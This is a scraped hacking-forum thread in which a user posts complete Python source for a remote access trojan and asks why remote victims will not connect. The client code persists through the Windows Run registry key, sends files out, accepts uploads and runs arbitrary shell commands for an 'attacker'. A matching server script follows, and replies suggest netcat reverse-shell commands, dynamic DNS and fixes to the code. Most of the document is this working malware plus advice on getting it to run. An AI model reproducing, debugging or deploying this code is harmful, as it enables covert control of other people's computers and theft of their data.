var unreadAlerts = '1';
You have one unread private message from dkota titled Welcome to the Forum!

Can't get remote PC to connect to my RAT
#1
Hello, I am working on a RAT in Python and when I run the exe on another PC on another network it can ping me fine but it will not show up as connected in my RAT server. I made firewall rules for port 8080 which the server is hosted on to allow it on my host and port forwarded without effect. 

If I use a VPN like R Admin it connects instantly so I know it can connect and it works like it should. Could it be my ISP or something is blocking it? 

Any advice appreciated, thanks in advance. 


-------------------------------------------------

Client side code:

Code:
# TCP Connection
import socket

# Process Handling
import subprocess

# OS essentials
import os

# Windows Registery Handling
import winreg as reg

import time


# For Adding File To Windows Startup
def AddToStartup(f_name, path):
     
    # Combine Path and Filename
    address=os.path.join(path, f_name) 
     
    # Key To Change: HKEY_CURRENT_USER 
    # Key Value: Software\Microsoft\Windows\CurrentVersion\Run
    key = reg.HKEY_CURRENT_USER
    key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
     
    # Opening Key To Make Changes
    open = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)
   
    # Modifiy The Key
    reg.SetValueEx(open, "any_name", 0, reg.REG_SZ, address)
     
    # Closing
    reg.CloseKey(open)

# Connecting Target To Attacker
def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Try Until Not Connected
    connected = False
    while (connected == False):
        try:
           
            # Note: Please Place Attacker's IP Here
            s.connect(('127.0.0.1', 8080))

            # Connected
            connected = True

            # Sending Current Working Directory Of Target To Attacker
            cwd = os.getcwd()
            s.send(("dir:" + str(cwd)).encode('utf-8'))
           
        except:
            # If Failed To Connect, Print A Dot And Try Again
            print(".", end="")

    while True:
        try:
            # Recieve Command From Attacker
            command = s.recv(2048).strip().decode('utf-8')

            # Terminate Script
            if 'terminate' in command:
                s.close()
                break

            # Grabbing Files
            # Example: grab picture.jpg
            elif command.startswith('grab'):

                # Extracting filename From Command
                # Skipping 1st Five Characters
                # Because They Are 'g', 'r', 'a', 'b', ' '
                file_name = command[5:]

                # Getting File Size
                file_size = os.path.getsize(file_name)

                # Sending File Name
                s.send(file_name.encode('utf-8'))

                # Recieving Response From Target
                # e.g., OK Response
                s.recv(1024).decode('utf-8')

                # Sending File Size
                s.send(str(file_size).encode('utf-8'))

                # Recieving Response
                s.recv(1024).decode('utf-8')

                # Opening File To Read
                # File Will Be Sent In Small Chunks Of Data
                with open(file_name, "rb") as file:

                    # Chunks Sent = 0
                    c = 0
                   
                    # Starting Time
                    start_time = time.time()

                    # Running Loop Until c < file_size
                    while c < file_size:

                        # Read 1024 Bytes
                        data = file.read(1024)

                        # If No Bytes, Stop
                        if not (data):
                            break

                        # Send Bytes
                        s.sendall(data)

                        # Chunks Sent += Length Of Data
                        c += len(data)

                    # Ending Time
                    end_time = time.time()

            # Transfer File From Attacker To Target
            # Example: video.mp4
            elif 'transfer' in command:

                # Recieving Name Of File To Be Transferred
                file_name = s.recv(1024).decode('utf-8')

                # Sending Response
                s.send('OK'.encode('utf-8'))

                # Recieving Size Of File To Be Transferred
                file_size = s.recv(1024).decode('utf-8')

                # Sending Response
                s.send('OK'.encode('utf-8'))

                # Opening File For Writing
                with open(file_name, "wb") as file:

                    # Chunks Recieved
                    c = 0
                   
                    # Starting Time
                    start_time = time.time()

                    # Running Until c < int(file_size)
                    while c < int(file_size):

                        # Recieve 1024 Bytes
                        data = s.recv(1024)

                        # If No Data, Stop
                        if not (data):
                            break

                        # Write Bytes To File
                        file.write(data)

                        # Chunks Added
                        c += len(data)

                    # Ending Time
                    end_time = time.time()

            # Changing Working Directory Of Target
            # Example: D:\
            elif command.startswith('cd '):

                # Extracting Directory
                # Skipping 3 Characters
                # They Are 'c', 'd', ' '
                dir = command[3:]

                # Change Directory
                try:
                    os.chdir(dir)

                except:
                    # If Failed, Revert
                    os.chdir(cwd)

                # Get Updated Working Directory
                cwd = os.getcwd()
               
                # Send Updated Directory To Attacker
                s.send(("dir:" + str(cwd)).encode('utf-8'))

            # Putting File In Startup Folder
            # Only Works For Windows
            # Example: starup T.py
            elif command.startswith('startup'):

                # Extracting Filename
                file_name = command[8:]

                # Extracting Path Of File
                # As File Is In Current Working Directory
                # Get Current Working Directory
                pth = os.getcwd()

                # Put File In Startup
                try:
                    AddToStartup(file_name, pth)

                    # Send OK To Attacker
                    s.send("OK".encode('utf-8'))

                # If Failed, Send Exception Message To Attacker
                except Exception as e:
                    s.send(str(e).encode('utf-8'))

            # Otherwise The Command Will Be Considered As CMD OR Terminal Command
            # Command Will Be Executed In Terminal
            else:
                # Executing Command
                CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

                # If Command Executes Succefully
                # Get Output Of Command
                out = CMD.stdout.read()

                # If Error Occured
                # Get Error Of Command
                err = CMD.stderr.read()

                # Send Output
                s.send(out)

                # Send Error
                s.send(err)

                #If the command has no output but executes correctly handle that.
                if (out == b'' and err == b''):
                    s.send("OK".encode('utf-8'))
                   
        # If Attacker Command Was Unable To Be Executed
        except Exception as e:

            # Send Exception Message To Attacker
            s.send(str(e).encode('utf-8'))


# Start Of Script
# If Connection Breaks
# Script Tries To Connect Again And Again
connected = False
while (not connected):
    try:
        connect()
        connected = True
    except:
        print(".", end = "")




----------------------------------------------

Server side code:

Code:
#Server Side Script[/b]

[b]# TCP Connection[/b]
[b]import socket[/b]
[b]import os[/b]
[b]import time[/b]

[b]# Connecting Client To Server[/b]
[b]def connect():[/b]
[b]    # Starting Socket Server[/b]
[b]    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)[/b]

[b]    # Binding Server[/b]
[b]    s.bind((socket.gethostname(), 8080))[/b]

[b]    # Listening To 1 Connection[/b]
[b]    s.listen(1)[/b]
[b]    [/b]
[b]    print ('[Info] Listening for incoming TCP connection on port 8080')[/b]
[b]    # Accept Connection[/b]
[b]    conn, addr = s.accept()[/b]
[b]    [/b]
[b]    print ('[+] connection confirmed from: ', addr)[/b]

[b]    # We Do Not Know The Target's Working Directory[/b]
[b]    # So Initially It Is "Shell"[/b]
[b]    cwd = 'Shell'[/b]

[b]    # Recieve Response From Target[/b]
[b]    r = conn.recv(5120).decode('utf-8')[/b]

[b]    # If Response Contains "dir:"[/b]
[b]    if ('dir:' in r):[/b]
[b]        cwd = r[4:][/b]

[b]    while True:[/b]
[b]        # Input Command From User[/b]
[b]        command = input(str(cwd) + ":> ")[/b]

[b]        if 'terminate' in command:[/b]
[b]            # Send Command To Target[/b]
[b]            conn.send('terminate'.encode('utf-8'))[/b]

[b]            # Close Connection[/b]
[b]            conn.close()[/b]

[b]            # Break Loop[/b]
[b]            break[/b]


[b]        elif 'grab' in command:[/b]
[b]            # Send Command[/b]
[b]            conn.send(command.encode('utf-8'))[/b]

[b]            # Recieve Filename[/b]
[b]            file_name = conn.recv(1024).decode('utf-8')[/b]
[b]            print("[+] Grabbing [" + file_name + "]...")[/b]

[b]            # Send Response[/b]
[b]            conn.send('OK'.encode('utf-8'))[/b]
[b]            [/b]
[b]            # Recieve Filesize[/b]
[b]            file_size = conn.recv(1024).decode('utf-8')[/b]
[b]            [/b]
[b]            # Send Response[/b]
[b]            conn.send('OK'.encode('utf-8'))[/b]

[b]            # Print Size Of File In KB[/b]
[b]            #print("[Info] Total: " + str(int(file_size)/1024) + " KB")[/b]

[b]            # Open File For Writing[/b]
[b]            with open(file_name, "wb") as file:[/b]
[b]                [/b]
[b]                # File Will Be Recieved In Small Chunks Of Data[/b]
[b]                # Chunks Recieved[/b]
[b]                c = 0[/b]
[b]                [/b]
[b]                # Starting Time[/b]
[b]                start_time = time.time()[/b]

[b]                # Running Loop Until c < int(file_size)[/b]
[b]                while c < int(file_size):[/b]

[b]                    # Recieve Bytes[/b]
[b]                    data = conn.recv(1024)[/b]

[b]                    # Break If No Data[/b]
[b]                    if not (data):[/b]
[b]                        break[/b]

[b]                    # Write Data To File[/b]
[b]                    file.write(data)[/b]

[b]                    # Chunks Recieved[/b]
[b]                    c += len(data)[/b]

[b]                # Ending the time capture.[/b]
[b]                end_time = time.time()[/b]

[b]            # Show Time[/b]
[b]            print("[+] File Grabbed. Total time: ", end_time - start_time)[/b]

[b]        elif 'transfer' in command:[/b]
[b]            conn.send(command.encode('utf-8'))[/b]

[b]            # Getting File Details[/b]
[b]            file_name = command[9:][/b]
[b]            file_size = os.path.getsize(file_name)[/b]

[b]            # Sending Filename[/b]
[b]            conn.send(file_name.encode('utf-8'))[/b]

[b]            # Recieve And Print Response[/b]
[b]            print(conn.recv(1024).decode('utf-8'))[/b]

[b]            # Send File Size[/b]
[b]            conn.send(str(file_size).encode('utf-8'))[/b]
[b]            [/b]
[b]            print("Getting Response")[/b]
[b]            print(conn.recv(1024).decode('utf-8'))[/b]
[b]            [/b]
[b]            print("[+] Transferring [" + str(file_size/1024) + "] KB...")[/b]

[b]            # Open File For Reading[/b]
[b]            with open(file_name, "rb") as file:[/b]
[b]                [/b]
[b]                # Chunks Sent[/b]
[b]                c = 0[/b]
[b]                [/b]
[b]                # Starting Time[/b]
[b]                start_time = time.time()[/b]
[b]                [/b]
[b]                # Running Loop Until c < int(file_size)[/b]
[b]                while c < int(file_size):[/b]

[b]                    # Read 1024 Bytes[/b]
[b]                    data = file.read(1024)[/b]

[b]                    # If No Data? Break The Loop[/b]
[b]                    if not (data):[/b]
[b]                        break[/b]

[b]                    # Send Data To Target[/b]
[b]                    conn.sendall(data)[/b]

[b]                    # Chunks Added[/b]
[b]                    c += len(data)[/b]

[b]                # Ending Time[/b]
[b]                end_time = time.time()[/b]
[b]                [/b]
[b]                print("[+] File Transferred. Total time: ", end_time - start_time)[/b]

[b]        # Otherwise If Command Is Not Null[/b]
[b]        elif (len(command.strip()) > 0):[/b]

[b]            # Send Command To Target[/b]
[b]            conn.send(command.encode('utf-8'))[/b]

[b]            # Read Reply From Target[/b]
[b]            r = conn.recv(5120).decode('utf-8')[/b]

[b]            # If 'dir:' in Reply? Target Has Sent It's Working Directory[/b]
[b]            if ('dir:' in r):[/b]

[b]                # Get Working Directory[/b]
[b]                cwd = r[4:][/b]
[b]            else:[/b]

[b]                # Otherwise Print Reply[/b]
[b]                print (r)[/b]

[b]# Main[/b]
[b]def main ():[/b]
[b]    connect()[/b]

[b]# Start Of Code[/b]
[b]main()


----------------------------------------------
“I'll just regress, because I feel I've made myself perfectly redundant.”
Report
#2
Did you try with a simple reverse shell?
Also your  script have some issues for example it does not attempt to connect again...
I will try it and check in details...
BTW avoid doing too much copy and paste of code lol....


Xprogrammer .
We are Light Hat Arsenal, we are hackers for the light !
Reply Quote // Report
#3
Xprogrammer Wrote: Did you try with a simple reverse shell?
Also your  script have some issues for example it does not attempt to connect again...
I will try it and check in details...


Xprogrammer .


It seems to connect again automatically just fine on the local area network but it just won't do it on a remote machine. 
I did not try a reverse shell, could you explain how I could implement this? I will google a bit as well.

Thank you for looking into it any help is appreciated
“I'll just regress, because I feel I've made myself perfectly redundant.”
Reply Quote // Report
#4
MilkSteak Wrote:
Xprogrammer Wrote: Did you try with a simple reverse shell?
Also your  script have some issues for example it does not attempt to connect again...
I will try it and check in details...


Xprogrammer .


It seems to connect again automatically just fine on the local area network but it just won't do it on a remote machine. 
I did not try a reverse shell, could you explain how I could implement this? I will google a bit as well.

Thank you for looking into it any help is appreciated

You can use a reverse shell to check if there is no firewall issues, to check if the connection is working well.
You can use netcat:
server :
Code:
nc -nlvp 4444
client/victim :
Code:
nc <server_ip> 4444
We are Light Hat Arsenal, we are hackers for the light !
Reply Quote // Report
#5
Xprogrammer Wrote:
MilkSteak Wrote:
Xprogrammer Wrote: Did you try with a simple reverse shell?
Also your  script have some issues for example it does not attempt to connect again...
I will try it and check in details...


Xprogrammer .


It seems to connect again automatically just fine on the local area network but it just won't do it on a remote machine. 
I did not try a reverse shell, could you explain how I could implement this? I will google a bit as well.

Thank you for looking into it any help is appreciated

You can use a reverse shell to check if there is no firewall issues, to check if the connection is working well.
You can use netcat:
server :
Code:
nc -nlvp 4444
client/victim :
Code:
nc <server_ip> 4444

Interesting! I will implement that when I get some time tomorrow and see if it works. Thank you!
“I'll just regress, because I feel I've made myself perfectly redundant.”
Reply Quote // Report
#6
OK, so if I understand the connection is made the the var connected is always = False?
Did the reverse shell work well? can you run command on your client...
Anyway the script is working "well" for me. Also I hope that the server ip you put isn't your real IP address lol.
If you can't connect to a server outside the network it might be the server that isn't allowing the connection from firewall or even AV.
We are Light Hat Arsenal, we are hackers for the light !
Reply Quote // Report
#7
Xprogrammer Wrote: OK, so if I understand the connection is made the the var connected is always = False?
Did the reverse shell work well? can you run command on your client...
Anyway the script is working "well" for me. Also I hope that the server ip you put isn't your real IP address lol.
If you can't connect to a server outside the network it might be the server that isn't allowing the connection from firewall or even AV.


The var connected becomes true after this runs. 

I have not tried the reverse shell yet but I will in the morning. 

By working well does it connect to remote machines not on your same network?

The IP I used was from R Admin which lets me make a tunnel for testing but it did not work with my real IP and only with that VPN.

I turned off firewall and AV on the server and the target so idk. It is likely that the reverse shell thing you mentioned will help so I will report back if it does. 

Code:
# If Connection Breaks
# Script Tries To Connect Again And Again
connected = False
while (not connected):
    try:
        connect()
        connected = True
    except:
        print(".", end = "")
“I'll just regress, because I feel I've made myself perfectly redundant.”
Reply Quote // Report
#8
Have you tried using a service like NoIP?
There is also a lot of issues with your code. For example, there is no connection cool down for clients and the file transfer method is extremely inefficient (receiving 1KB at a time)
Reply Quote // Report


Quick Reply
Message
Type your reply to this message here.





Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }